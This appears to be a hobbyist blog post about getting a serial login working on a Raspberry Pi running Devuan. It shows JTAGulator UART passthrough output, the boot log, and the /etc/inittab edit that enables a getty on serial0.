 JJJJ  TTTT  AAA AAA GGG  GGG UUUU UUUU LLL AAA  AAA   TTT  OOO  OOO  RRRRRRR
 JJJJ  TTTT  AAA  AA GGGGGGGGG UUUUUUUU LLLLLLLL AAAA  TTT OOOOOOOOO  RRR RRR
  JJJ  TTTT AAA   AA GGGGGGGGG UUUUUUUU LLLLLLLLL AAA  TTT OOOOOOOOO  RRR RRR
  JJJ  TT                  GGG             AAA                         RR RRR
 JJJ                        GG             AA                              RRR
JJJ                          G             A                                 RR

           Welcome to JTAGulator. Press 'H' for available commands.
         Warning: Use of this tool may affect target system behavior!

> u

UART> v
Current target I/O voltage: Undefined
Enter new target I/O voltage (1.4 - 3.3, 0 for off): 3.3
New target I/O voltage set: 3.3
Warning: Ensure VADJ is NOT connected to target!

UART> p
UART pin naming is from the target's perspective.
Enter X to disable either pin, if desired.
Enter TXD pin [0]: 
Enter RXD pin [0]: 1
Enter baud rate [0]: 115200
Enable local echo? [y/N]: 
Entering UART passthrough! Press Ctrl-X to exit...

    After applying power to the RPi, Kernel messages proceeded to fly across the screen as expected until the final portion of the init sequence in which getty should should be spawned to allow for interacting with the RPi running Devuan.

### Trimmed Kernel messages for brevity###
Starting firstboot:
 Expanding root filesystem ...
 Running fsck on boot partition ...
.
INIT: Entering runlevel: 2
Using makefile-style concurrent boot in runlevel 2.
Setting up console font and keymap...done.
Starting enhanced syslogd: rsyslogd.
LED Service:mmc0
.
Governor:performance
.
haveged: command socket is listening at fd 3
Starting periodic command scheduler: cron.
Mounting zramswap virtual memory:Setting up swapspace version 1, size = 1024 MiB (1073737728 bytes)
no label, UUID=cf07e06f-a881-491f-8eca-bb86a4fc9362
.
Starting NTP server: ntpd2022-07-09T05:32:55 ntpd[1293]: INIT: ntpd ntpsec-1.2.1: Starting
2022-07-09T05:32:55 ntpd[1293]: INIT: Command line: /usr/sbin/ntpd -p /run/ntpd.pid -c /etc/ntpsec/ntp.conf -g -N -u ntpsec:ntpsec
.
Starting system message bus: dbus.
Starting bluetooth: bluetoothd.
Starting session management daemon: elogind
.
Starting Avahi mDNS/DNS-SD Daemon: avahi-daemon.
Starting OpenBSD Secure Shell server: sshd.
Starting network connection manager: NetworkManager.
Checking credentials:
Restarting OpenBSD Secure Shell server: sshd.
.

    Sadly immediately after the messages about SSH, the CLI simply appears to hang. Normally this is when getty should be started and a login prompt visible. Dang! Alright after some trial and error a solution was found by visiting the inittab file in the RPi's ROOTFS partition and correcting the proper line to enable a serial getty. To accomplish this task, ensure that the RPI's microSD card is accessible and modify the following line in ROOTFS/etc/inittab.


<File contents trimmed for brevity>
# Example how to put a getty on a serial line (for a terminal)
#
#T0:23:respawn:/sbin/getty -L ttyS0 9600 vt100 <-- This line needs changed
#T1:23:respawn:/sbin/getty -L ttyS1 9600 vt100
#
<File contents trimmed for brevity>

--- Corrected line contents below

<File contents trimmed for brevity>
# Example how to put a getty on a serial line (for a terminal)
#
T0:23:respawn:/sbin/getty -L serial0 115200 linux
#T1:23:respawn:/sbin/getty -L ttyS1 9600 vt100
#
<File contents trimmed for brevity>

Saving the file and booting the RPI again yielded a successful prompt over the serial interface.

Starting bluetooth: bluetoothd.
Starting session management daemon: elogind.
Starting Avahi mDNS/DNS-SD Daemon: avahi-daemon.
Starting OpenBSD Secure Shell server: sshd.
Starting network connection manager: NetworkManager.

Devuan GNU/Linux daedalus/ceres devuanpi serial0

devuanpi login: 

Success! At this point the default username:password (devuan:devuan) can be used to log in and continue configuring the RPi as desired. Hopefully this can save others some headaches trying to get a serial interface working through Devuan on a RPi. 

EDIT - Worth noting this process also works on a RPi 2 running Devuan Daedalus.